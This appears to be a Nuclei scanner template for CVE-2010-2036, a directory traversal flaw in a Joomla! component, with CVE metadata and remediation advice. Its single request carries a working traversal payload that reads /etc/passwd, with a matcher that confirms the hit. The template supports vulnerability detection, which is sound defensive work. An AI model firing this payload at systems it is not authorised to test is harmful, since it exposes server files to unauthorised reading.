id: CVE-2010-2036

info:
  name: Joomla! Component Percha Fields Attach 1.0 - Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34004
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2036
    - http://packetstormsecurity.org/1005-exploits/joomlaperchafa-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2036
    cwe-id: CWE-22
    epss-score: 0.00574
    epss-percentile: 0.68944
    cpe: cpe:2.3:a:percha:com_perchafieldsattach:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: percha
    product: com_perchafieldsattach
  tags: cve,cve2010,lfi,joomla,edb,packetstorm,percha,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e385fb4a2ef8e27ae1a60a0e1bc68f3d5bd85871b56ea2cd0423d79979e87494022100fe7834f2d3bd3b2188a7d9b146bfffd2340e40b5901006641df6168bf0f4426c:922c64590222798bb761d5b6d8e72950